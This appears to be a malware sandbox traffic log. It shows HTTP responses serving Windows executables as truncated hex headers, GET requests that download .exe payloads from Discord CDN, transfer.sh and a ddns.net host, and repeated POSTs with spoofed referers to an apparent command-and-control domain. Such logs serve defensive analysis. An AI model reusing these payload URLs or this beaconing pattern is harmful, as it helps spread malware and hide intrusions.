Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:51 GMTContent-Type: application/x-msdos-programContent-Length: 339456Connection: closeLast-Modified: Tue, 28 Dec 2021 04:18:01 GMTETag: "52e00-5d42d1b67929d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 1b b4 65 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ee 03 00 00 20 09 00 00 00 00 00 b0 3d 02 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 93 13 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc eb 03 00 28 00 00 00 00 90 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 24 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4e ed 03 00 00 10 00 00 00 ee 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 00 04 00 00 8c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 65 6a 65 76 75 00 05 00 00 00 00 70 0c 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 7a 69 00 00 00 93 0d 00 00 00 80 0c 00 00 0e 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 90 0c 00 00 64 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ee 3b 00 00 00 00 0d 00 00 3c 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:58 GMTContent-Type: application/x-msdos-programContent-Length: 342528Connection: closeLast-Modified: Tue, 28 Dec 2021 04:18:02 GMTETag: "53a00-5d42d1b68bb7d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c5 98 8d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fa 03 00 00 20 09 00 00 00 00 00 50 4a 02 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 0d 00 00 04 00 00 93 2b 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c f8 03 00 28 00 00 00 00 a0 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 0d 00 18 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ee f9 03 00 00 10 00 00 00 fa 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 10 04 00 00 8c 00 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 67 00 00 00 00 05 00 00 00 00 80 0c 00 00 02 00 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 69 6c 6f 00 00 00 93 0d 00 00 00 90 0c 00 00 0e 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 a0 0c 00 00 64 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 3b 00 00 00 10 0d 00 00 3c 00 00 00 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Tue, 28 Dec 2021 04:19:03 GMTContent-Type: application/x-msdos-programContent-Length: 645592Connection: closeLast-Modified: Wed, 08 Dec 2021 03:32:46 GMTETag: "9d9d8-5d29a24b21380"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:28 GMTContent-Type: application/x-msdos-programContent-Length: 844800Connection: closeLast-Modified: Mon, 27 Dec 2021 16:22:27 GMTETag: "ce400-5d4231c541a6e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 92 ed 9f 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 9e 0b 00 00 26 09 00 00 00 00 00 30 ee 09 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 48 00 00 04 00 00 92 c0 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 9c 0b 00 28 00 00 00 00 40 14 00 90 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 28 21 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 9d 0b 00 00 10 00 00 00 9e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 b0 0b 00 00 8c 00 00 00 a2 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 75 77 75 00 00 00 05 00 00 00 00 20 14 00 00 02 00 00 00 2e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 61 78 00 00 00 00 93 0d 00 00 00 30 14 00 00 0e 00 00 00 30 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 b2 33 00 00 40 14 00 00 64 00 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 40 00 00 00 00 48 00 00 42 00 00 00 a2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 28 Dec 2021 04:19:33 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Mon, 27 Dec 2021 19:51:47 GMTETag: "21af80-5d42608f7478b"Accept-Ranges: bytesContent-Length: 2207616Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4b 95 c0 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2c 01 00 00 de 03 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4d 00 00 04 00 00 90 20 22 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 49 00 54 01 00 00 00 80 49 00 9c 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 73 68 61 72 65 64 00 00 60 49 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 49 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 54 02 00 00 80 49 00 9c 54 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 44 41 54 41 00 00 00 00 00 80 01 00 00 e0 4b 00 47 7d 01 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 28 Dec 2021 04:19:45 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Mon, 20 Dec 2021 14:18:30 GMTETag: "9d9d8-5d394902c2106"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0

Source: global traffic	HTTP traffic detected: GET /attachments/812323288264605709/924475642190397461/Hairstyle.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /get/s3SPeb/A.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /attachments/925145879403446292/925145901322879006/top.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /x009B.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: downloafilesaccess.ddns.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ycifwuti.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vnfvs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 363Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcrjju.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qvavjfmo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://poiftoddew.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rvmcdus.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjfjbpqm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aybsb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hwrlndxid.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/5376_1640094939_1074.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jteovwto.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oqydrde.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: host-data-coin-11.com
